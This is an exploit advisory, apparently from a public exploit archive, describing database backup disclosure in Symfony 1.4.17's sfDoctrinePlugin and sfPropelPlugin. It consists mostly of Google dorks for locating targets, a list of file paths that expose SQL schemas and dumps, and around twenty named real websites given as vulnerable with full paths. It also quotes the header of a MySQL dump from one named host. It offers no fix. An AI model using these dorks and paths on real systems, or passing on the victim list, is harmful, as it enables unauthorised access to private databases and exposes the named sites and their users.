################################################################################################# # Exploit Title : Symfony 1.4.17 sfDoctrinePlugin sfPropelPlugin Database Backup Disclosure # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 09/12/2018 # Vendor Homepage : symfony-project.com ~ symfony.com # Software Download Link : symfony.com/legacy # Tested On : Windows and Linux # Category : WebApps # Version Information : 1.4.17 and 1.4.20 and previous versions. # Exploit Risk : Medium # Google Dorks : inurl:''/symfony/lib/plugins/sfPropelPlugin/'' inurl:''/lib/plugins/sfDoctrinePlugin/'' intext:''Powered By smarttouch.tn'' # Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access Controls ] CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ] CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ] ################################################################################################# # Exploits : /database.sql /data/sql/lib.model.schema.sql /symfony-1.4.17/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql /lib/vendor/symfony/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql /lib/vendor/symfony/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql /symfony_app/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql /DOMAINADDRESS.gov/symfony/lib/vendor/symfony/blah/symfony-1.2.12/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql /hom/lib/vendor/symfony/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql /Bhairavi/backup/letmark2/lib/vendor/symfony/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql /record/2014/memoria-fiestas-patrias/lib/vendor/symfony/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql /cooperforte-banco-prospect_bkp/lib/vendor/symfony/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql /refertrac/code/lib/vendor/symfony/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql /DOMAINADDRESS.gov/symfony_bak/data/sql/schema.sql /economicos/data/sql/plugins.sfGuardPlugin.lib.model.schema.sql ################################################################################################# # Example MySQL Database Dump => [+] caminhodafelicidade.hospedagemdesites.ws/database.sql -- MySQL dump 10.13 Distrib 5.1.71, for debian-linux-gnu (x86_64) -- -- Host: mysql04.caminhodafelicidade.hospedagemdesites.ws Database: caminhodafelic3 -- ------------------------------------------------------ -- Server version 5.1.73-rel14.11-log ################################################################################################# # Example Vulnerable Sites => [+] atlclient.flexoimagegraphics.com/data/sql/lib.model.schema.sql [+] randwickcentral.com.au/data/sql/lib.model.schema.sql [+] montessori.tn/lib/vendor/symfony/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql [+] fdsfranchise.com/symfony_app/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql [+] gil.com.tn/lib/vendor/symfony/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql [+] gil.com.tn/data/sql/lib.model.schema.sql [+] afitemaq.com.br/data/sql/lib.model.schema.sql [+] bqto.unexpo.edu.ve/postgrado/sicdi/data/sql/lib.model.schema.sql [+] cmic.paric.com/paric.com/symfony/lib/vendor/symfony/blah/symfony-1.2.12/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql [+] colboletos.com/hom/lib/vendor/symfony/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql [+] staging.teks.co.in/Bhairavi/backup/letmark2/lib/vendor/symfony/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql [+] app.webtilia.com/record/2014/memoria-fiestas-patrias/lib/vendor/symfony/lib/plugins/sfPropelPlugin/test/functional/fixtures/data/sql/lib.model.schema.sql [+] caminhodafelicidade.hospedagemdesites.ws/cooperforte-banco-prospect_bkp/lib/vendor/symfony/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql [+] transrol.prohost.pl/lib/vendor/symfony/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql [+] jlmweb.net/refertrac/code/lib/vendor/symfony/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql [+] etc2.s3.com.mx/symfony-1.4.17/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql [+] colegios.ensenachile.cl/lib/vendor/symfony/lib/plugins/sfDoctrinePlugin/test/functional/fixtures/data/sql/schema.sql [+] cmic.paric.com/paric.com/symfony_bak/data/sql/schema.sql [+] editorialdelnorte.cl/economicos/data/sql/plugins.sfGuardPlugin.lib.model.schema.sql ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################